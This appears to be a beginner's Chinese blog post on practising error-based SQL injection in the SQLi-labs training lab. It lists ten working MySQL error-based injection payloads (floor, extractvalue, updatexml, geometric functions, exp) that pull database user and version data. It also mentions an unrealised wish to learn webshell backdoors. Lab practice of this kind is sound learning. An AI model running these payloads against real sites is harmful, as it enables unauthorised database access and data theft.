在SQLI-LAB练习的显错注入(自我整理)

按照惯例,一进来就是先看看情况
在SQLI-LAB练习的显错注入(自我整理)_第1张图片页面显示正常,那看看不正常的样子
在SQLI-LAB练习的显错注入(自我整理)_第2张图片这样的话可以看出来,没有办法通过union联合查询来注入了,他完全就没有给你回显的地方。。。
这样的话,可以考虑一下显错注入,先让他语句报错,然后在错误里爆出我们想要的东西
在SQLI-LAB练习的显错注入(自我整理)_第3张图片报错了啊,那么接下来就是显错注入了,显错注入包括很多方式,
以下均摘自《代码审计:企业级Web代码安全架构》一书:
1.floor() {输出字符长度限制为64个字符}

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue() {有长度限制,最长32位}

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml() {有长度限制,最长32位}

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

先来floor() 吧:
在SQLI-LAB练习的显错注入(自我整理)_第4张图片他说输出的信息超过的1行,所以就不输出了,这就说明了floor时有长度限制的,字符串长度最多64位,所以,就老实点一个一个爆吧。
在SQLI-LAB练习的显错注入(自我整理)_第5张图片注意的一个问题是,那个1,不是数据库的名称,为了区别的话,所以在后面加了个’^'来区分出来,就不用去试到底是不是了。

接下来我们试一下extractvalue() :
用这个查一下版本吧
在SQLI-LAB练习的显错注入(自我整理)_第6张图片其他的就把sql语句写进去就行,原谅我记不住那么多,我都是现去记事本里找。。。

就不接着糊弄了,剩下的都差不多,只是语句和方式不一样,如果想看这10种的原理
那就百度去吧,10种显错注入原理讲解,嗯,就这样。
我可不会,刚开始接触,真的菜。。。

本来是想整理以下大马的“黑吃黑”的一点,但是,突然发现自己不会在大马里写一个shell发到另一个网址去,我看看能不能找到一个有的吧。

还是希望有人能够指点下,在此谢过。

你可能感兴趣的:(在SQLI-LAB练习的显错注入(自我整理))